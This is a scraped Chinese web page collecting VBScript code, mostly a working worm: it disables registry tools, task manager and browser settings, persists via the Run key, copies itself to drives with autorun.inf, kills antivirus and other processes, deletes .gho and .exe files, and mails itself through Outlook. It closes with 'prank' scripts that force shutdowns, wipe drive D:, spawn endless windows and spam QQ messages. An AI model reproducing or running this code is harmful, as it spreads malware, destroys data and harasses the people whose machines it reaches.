当前位置:文档之家› vbs代码大全

vbs代码大全

wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","https://www.doczj.com/doc/ce5152956.html,"
wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page","https://www.doczj.com/doc/ce5152956.html,"
wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","https://www.doczj.com/doc/ce5152956.html,"
wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","https://www.doczj.com/doc/ce5152956.html,"
wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","https://www.doczj.com/doc/ce5152956.html,"
wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","https://www.doczj.com/doc/ce5152956.html,"
wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","https://www.doczj.com/doc/ce5152956.html,"
wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Search Page","https://www.doczj.com/doc/ce5152956.html,"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\ResetWebSettings",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions\NoAddingSubScriptions",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode",1,"REG_DWORD"
wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","c:\NYboy.vbs"
wsh.Regwrite "H

KLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry",""
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\StartMenuLogOff",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSMHelp",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoNetHood",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind","1","REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWindowsUpdate",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskbar",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFavoritesMenu",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsHistory",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","1","REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD"
'使用户不能通过双击打开硬盘,这里还可以修改为使其不能通过双击打开文件夹,同理,不赘续
wsh.Regwrite "HKLM\SOFTWARE\Classes\Drive\shell\auto\command\","C:\NYboy.bat '%1'"
wsh.Regwrite "HKCR\Drive\shell\","auto"
wsh.Regwrite "HKCR\Drive\shell\auto\command\","C:\NYboy.bat '%1'"
wsh.Regwrite "HKLM\SOFTWARE\Classes\Directory\shell\","auto"
wsh.Regwrite "HKCR\Directory\shell\auto\command\","C:\NYboy.bat '%1'"
wsh.Regwrite "HKLM\SOFTWARE\Classes\Directory\shell\auto\command\","C:\NYboy.bat '%1'"
'修改默认文件图标,这里可以换成可爱的熊猫哦,(修改dll也可以实现,只是有点难)
wsh.Regwrite "HKCR\inifile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKCR\exefile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKCR\batfile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKCR\sysfile\DefaultIcon

\","SHELL32.dll,131"
wsh.Regwrite "HKCR\inffile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKCR\dllfile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKCR\docfile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKCR\lnkfile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKCR\comfile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKLM\SOFTWARE\Classes\exefile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKLM\SOFTWARE\Classes\txtfile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKLM\SOFTWARE\Classes\dllfile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKLM\SOFTWARE\Classes\batfile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKLM\SOFTWARE\Classes\inifile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKLM\Software\CLASSES\.reg\","txtfile"
wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","你好啊,大兵和你开个小小的玩笑"
wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","你已经中毒了,赶快杀毒或者与QQ252287438联系"
'复制自身到C,D,E,F,U盘
myfile.copy "c:\"
myfile.copy "D:\"
myfile.copy "E:\"
myfile.copy "F:\"
myfile.copy "I:\"
myfile.attributes=34
'定义Autorun.inf 的内容 这个就是u盘病毒必须的代码部分 这里可以简单写哦^_^
If fso.FileExists("C:\autorun.inf") Then
Set objFolder = fso.GetFile("C:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>C:\autorun.inf"_
&"&& echo open=NYboy.bat >>C:\autorun.inf"_
&"&& echo shellexecute=NYboy.bat >>C:\autorun.inf"_
&"&& echo shell\Auto\command=NYboy.bat>>C:\autorun.inf"_
&"&& echo shell=Auto>>C:\autorun.inf"_
&"&& attrib +h +s +r C:\autorun.inf" ,0
set autobatc=fso.createtextfile("c:\NYboy.bat",1,ture)
autobatc.writeline("NYboy.vbs")
End If
If fso.FileExists("D:\autorun.inf") Then
Set objFolder = fso.GetFile("D:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>D:\autorun.inf"_
&"&& echo open=NYboy.bat >>D:\autorun.inf"_
&"&& echo shellexecute=NYboy.bat >>D:\autorun.inf"_
&"&& echo shell\Auto\command=NYboy.bat>>D:\autorun.inf"_
&"&& echo shell=Auto>>D:\autorun.inf"_
&"&& attrib +h +s +r D:\autorun.inf" ,0
set autobatd=fso.createtextfile("D:\NYboy.bat",1,ture)
autobatd.writeline("NYboy.vbs")
End If
If fso.FileExists("E:\autorun.inf") Then
Set objFolder = fso.GetFile("E:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>E:\autorun.inf"_
&"&& echo open=NYboy.bat >>E:\autorun.inf"_
&"&& echo shellexecute=NYboy.bat >>E:\autorun.inf"_
&"&& echo shell\Auto\command=NYboy.bat>>E:\autorun.inf"_
&"&& echo shell=Auto>>E:\autorun.inf"_
&"&& attrib +h +s +r E:\autorun.inf" ,0
set autobate=fso.createtextfile("E:\NYboy.bat",1,ture)
autobate.writeline("NYboy.vbs")
End If
If fso.FileExists("F:\autorun.inf") Then
Set objFolder = fso.GetFile("F:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>F:\autorun.inf"_
&"&& echo open=NYboy.bat >>F:\autorun.inf"_
&"&& echo shelle

xecute=NYboy.bat >>F:\autorun.inf"_
&"&& echo shell\Auto\command=NYboy.bat>>F:\autorun.inf"_
&"&& echo shell=Auto>>F:\autorun.inf"_
&"&& attrib +h +s +r F:\autorun.inf" ,0
set autobatf=fso.createtextfile("F:\NYboy.bat",1,ture)
autobatf.writeline("NYboy.vbs")
End If
If fso.FileExists("I:\autorun.inf") Then
Set objFolder = fso.GetFile("I:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>I:\autorun.inf"_
&"&& echo open=NYboy.bat >>I:\autorun.inf"_
&"&& echo shellexecute=NYboy.bat >>I:\autorun.inf"_
&"&& echo shell\Auto\command=NYboy.bat>>I:\autorun.inf"_
&"&& echo shell=Auto>>I:\autorun.inf"_
&"&& attrib +h +s +r I:\autorun.inf" ,0
set autobatf=fso.createtextfile("I:\NYboy.bat",1,ture)
autobatf.writeline("NYboy.vbs")
End If
'设置病毒体属性为 系统 只读 隐藏
wsh.run "cmd /c attrib +h +s +r C:\NYboy.bat"_
&"&& attrib +h +s +r D:\NYboy.bat"_
&"&& attrib +h +s +r E:\NYboy.bat"_
&"&& attrib +h +s +r F:\NYboy.bat"_
&"&& attrib +h +s +r I:\NYboy.bat",0
'强制结束某些进程,比如QQ,记事本,网页,批处理文件,卡巴,realplay等进程,运行后打不开这些文件
do
set ws=getobject("winmgmts:\\.\root\cimv2")
set pp=ws.execquery("select * from win32_process where name='taskmgr.exe'or Name = 'QQ.exe'or Name = 'notepad.exe'or Name = 'IEXPLORE.exe'or Name = 'cmd.exe'or Name = 'avp.exe'or Name = 'winRAR.exe'or Name = 'msconfig.exe'or Name = 'WINWORD.exe'")
for each i in pp
i.terminate()
wscript.sleep 100
next
loop
'删除你讨厌的镜像gho文件
set ps=ws.ExecQuery("select * from CIM_DATAFILE where Extension='GHO' or Extension='gho'or extension='exe'")
for each p in ps
p.delete
next

'使c:\windows变成回收站

If fso.FileExists("c:\Desktop.ini") Then
yc = fso.GetFile("c:\Desktop.ini")
Else
wsh.run "cmd /c echo [.ShellClassInfo] >>c:\Desktop.ini"_
&"&& echo CLSID={645FF040-5081-101B-9F08-00AA002F954E} >>c:\Desktop.ini"_
&"&& copy c:\Desktop.ini %systemroot%\Desktop.ini"_
&"&& attrib +h +r +s %systemroot%\Desktop.ini"_
&"&& attrib +h +r +s %systemdrive%\Desktop.ini"_
&"&& attrib +h +r +s %systemroot%",0
end if

'使c:\Docume~1变成回收站


If fso.FileExists("c:\Desktop.ini") Then
ya = fso.GetFile("c:\Desktop.ini")
Else
wsh.run "cmd /c echo [.ShellClassInfo] >>c:\Desktop.ini"_
&"&& echo CLSID={645FF040-5081-101B-9F08-00AA002F954E} >>c:\Desktop.ini"_
&"&& copy c:\Desktop.ini %systemdrive%\DOCUME~1\Desktop.ini"_
&"&& attrib +h +r +s %systemdrive%\DOCUME~1\Desktop.ini"_
&"&& attrib +h +r +s %systemdrive%\DOCUME~1"_
&"&& attrib +h +r +s %systemdrive%\Desktop.ini",0
end if

'使病毒可以靠邮件传播
Set ol=CreateObject("Outlook.Application")
On Error Resume Next
For x=1 To 5
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="今晚你来吗?"
Mail.Body="朋友你好:您的朋友给您发来了热情的邀请。具体情况请阅读随信附件

,祝您好运! QQ交友频道"
Mail.Attachments.Add("c:\NYboy.vbs")
Mail.Send
Next
ol.Quit


一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).
xx.vbs=>

if MsgBox("对不起,您装B太多需要重新启动计算机。"&chr(10)&"确定要重启吗?",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then

msgbox " 系统将立刻重起wow ~_^",,"你上当了!!"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if



=---------------------------------------------------------------------------
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("与 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
----------------------------------------------------------------------------

QQ骚扰信息,也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈

------------------------------------------------------------------------------

do
msgbox "You are foolish!"
loop

------------------------------------------------------------------------------

三、打开无数个计算器,直到死机
------------------------------------------------------------------------------

set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
-----------------------------------------------------------------------------

四、直接关机
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
五、删除D:\所有文件
---------------------------------------------------------------------------

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------
六、不断弹出窗口
----------------------------------------------------------------------------

while(1)
msgbox "哈哈 你被耍了!"
loop
----------------------------------------------------------------------------
七、不断按下alt+f4 (开什么都关闭……)
---------------------------------------------------------------------------

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop

---------------------------------------------------------------------------

八、按10000次回车

(以上代码在运行者的电脑上显示500个对话框。其中 do u

ntil s=10000 ,10000可以随意更改)

-----------------------------------------------------------------------------

Vbs代码大全
dim s
do until s=10000
s=s+1
msgbox "哥们,给我按10000次回车吧",64
loop
'------------------------ ------------------------------------------------------------


九、关不掉的窗口
------------------------------------------------------------------------------------

WScript.Echo("嘿,谢谢你打开我哦,我等你很久

拉!"&TSName)
WScript.Echo("你是可爱的小朋吗?")
WScript.Echo("哈,我想你拉,这你都不知道吗?")
WScript.Echo("怎么才来,说~是不是不关心我")
WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。")
WScript.Echo("小强很生气,后果很严重哦。")
WScript.Echo("嘿嘿!你也会很惨滴哦")
WScript.Echo("是不是想清除我?")
WScript.Echo("那你要点上50下哦,不过会给你惊喜滴")
WScript.Echo("还剩49下,快点点哦")
WScript.Echo("还剩48下,快点,小笨蛋!")
WScript.Echo("还剩47下对,就这样快点点!")
WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰

你工作。")
WScript.Echo("还剩45下,记得要快哦!")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下")
WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
WScript.Echo("还剩25下")
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停!!!慢点,我有话要说")
WScript.Echo("还剩12下,你继续点我就会消失滴")
WScript.Echo("还剩11下,以后就看不到我拉。555555")
WScript.Echo("还剩10下,你现在可以选择停止!")
WScript.Echo("还剩9下。你还点啊,不要我拉?")
WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家")
WScript.Echo("还剩7下。疯了,你有点负意!")
WScript.Echo("还剩6下。对。你就点吧,我恨你!")
WScript.Echo("还剩5下,不明白,删除我你就好吗?")
WScript.Echo("还剩4下!真要删除我?")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你

的!")
WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无

义!!!")
WScript.Echo("我本因该消失的,

不过我留恋你滴芳容,上帝

又给了一次机会。")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")


















两个整人的VBS脚本


测试环境:Windows 2003 系统



我们来看下这个脚本
--------------------------------------------------------------------------------
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关机,不信,试下···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,好乖"
--------------------------------------------------------------------------------
新建一个记事本 把上面的代码复制进去 另存为VBE格式的就可以了

cmd.exe /c shutdown -r -t 180 -c

这里的数字可以修改关机时间 180秒

这些文字也可以自设 这个脚本启用cmd 里的关机程序

如果不输的的话 可以打开任务管理器 输入shutdown -a 来解除 我们试下 这时定时关机已

经没了 但是还有个关不掉的窗口 我们打开任务管理器 结束掉Wscript.exe 这个进程就OK

了 这时就完全解除这个脚本了 Wscript 时Windows 脚本宿主

-------------------------------------------------------------------------------------------
下面看第二个整人的脚本
-------------------------------------------------------------------------------------------
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"我是猪"
a=inputbox("快在下面的框框里输入我是猪,否则后果自负,快输""我是猪"" ","输不输","")
loop
call shutdown(2)
msgbox "早说就行了嘛",4096+64
msgbox"再输一遍我是猪!",4096+64
msgbox"我是猪!",4096+64
MsgBox"最后一次!",4096+64
MsgBox"如果你很快的点过去,不看的话",4096+64
MsgBox"我就要你踩我空间的!哼!",4096+64
MsgBox"从前有座山!",4096+64
MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64
ws.run"iexplore.exe

https://www.doczj.com/doc/ce5152956.html,/137841986/infocenter"
msgbox"哎呀累了!数绵羊哄我睡觉",4096+64
for i=1 to 100
MsgBox i&"只绵羊",4096+64
next
msgbox"哎呀我困了,这次就饶过你吧,下次注意哦!",4096+64
msgbox"最后问个问题,刘源是不是大好人!",4096+64
if inputbox("是不是","请选择","是")<>"是" then
call shutdown(1)
end if

sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
--------------------------------------------------------------------------------
ws.run"iexplore.exe https://www.doczj.com/doc/ce5152956.html,/137841986/infocenter"

相关主题
文本预览
相关文档 最新文档